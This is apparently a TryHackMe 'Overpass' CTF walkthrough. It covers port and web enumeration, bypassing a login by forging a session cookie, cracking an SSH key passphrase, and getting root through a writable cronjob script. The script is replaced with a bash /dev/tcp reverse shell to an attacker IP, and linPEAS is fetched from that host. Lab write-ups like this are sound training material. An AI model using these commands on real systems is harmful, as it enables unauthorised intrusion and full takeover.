This walkthrough covers the Overpass CTF found on TryHackMe. This room aims to exploit a vulnerable web application through a flawed authentication measure, obtain an initial foothold using exposed SSH keys, and then escalate privileges to root by injecting a reverse shell into a cronjob with poorly managed permissions.
Step 1: Nmap Scan
As always, we'll begin our penetration test by enumerating the network to identify running services.
sudo nmap -sV -p- -T4 -Pn 10.10.62.26 --disable-arp-ping --max-retries=0
Let's examine and see what we can obtain from the web server using ffuf
.
Step 2: Web Enumeration
sudo ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ -u http://10.10.62.26/FUZZ -t 10
Step 3: Initial Foothold
The /admin
directory appears promising. Let's navigate to it and explore what we can do with it.
Upon examining the source code, we discover a JavaScript file named login.js
.
async function postData(url = '', data = {}) {
// Default options are marked with *
const response = await fetch(url, {
method: 'POST', // *GET, POST, PUT, DELETE, etc.
cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
credentials: 'same-origin', // include, *same-origin, omit
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
redirect: 'follow', // manual, *follow, error
referrerPolicy: 'no-referrer', // no-referrer, *client
body: encodeFormData(data) // body data type must match "Content-Type" header
});
return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
return Object.keys(data)
.map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
.join('&');
}
function onLoad() {
document.querySelector("#loginForm").addEventListener("submit", function (event) {
//on pressing enter
event.preventDefault()
login()
});
}
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
This script contains a vulnerability listed in the OWASP Top 10
, known as Broken Authentication
.
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
Using Developer Tools (F12)
and navigating to Storage
(in Firefox), we can add a new item and create a SessionToken
with a value of "admin
" inside it.
This enables us to circumvent the login necessity. After gaining access, we came across an SSH
key belonging to a user named James
.
We can use ssh2john
and john-the-ripper
to crack the passphrase for this.
Save the SSH
key in a file named id_rsa
, and then execute the following commands:
python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
Then run john
:
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Set the permissions for the id_rsa
file.
chmod 600 id_rsa
Log in to the target.
ssh -i id_rsa james@<TARGET_IP>
Grab the user.txt
flag.
Step 4: Privesc and Root
Begin by starting an HTTP server to transfer linPEAS
, which will help enumerate the system for potential privilege escalation vectors.
python3 -m http.server 1337
Download linPEAS
to the victim.
wget http://<ATTACKER_IP>/linpeas_linux_amd64
Make it executable.
chmod +x linpeas_linux_amd64
Run it.
./linpeas_linux_amd64
Upon analyzing the results, we discovered a vulnerability in the cron jobs.
Every minute, precisely on the minute, a request is sent to fetch buildscript.sh
as root. However, this file has write access for regular users, which allows us to modify it with a reverse shell.
First, we want to modify /etc/hosts
and change overpass.thm
to our IP address.
The method for escalating privileges here involves altering the IP address of overpass.thm
to our own and creating a /downloads/src
directory on our system with a modified buildscript.sh
file that incorporates a reverse shell for the scheduled task to retrieve.
Create the reverse shell:
#!/bin/bash
bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/1338 0>&1"
Then, run an HTTP server from the root directory using the command:
python3 -m http.server 80
After a minute, it will pull the buildscript.sh
file we created and connect back to our netcat listener on port 1338.
And that's it! Once we gain access, we can obtain the root.txt
flag.
Summary
In this walkthrough, we will exploit a vulnerable web application on TryHackMe's Overpass CTF by bypassing a flawed authentication measure, obtaining an initial foothold using exposed SSH keys, and escalating privileges to root through a reverse shell injected into a cronjob with poorly managed permissions. The steps include an Nmap scan, using ffuf for network enumeration, gaining initial access, and escalating privileges to obtain the root flag.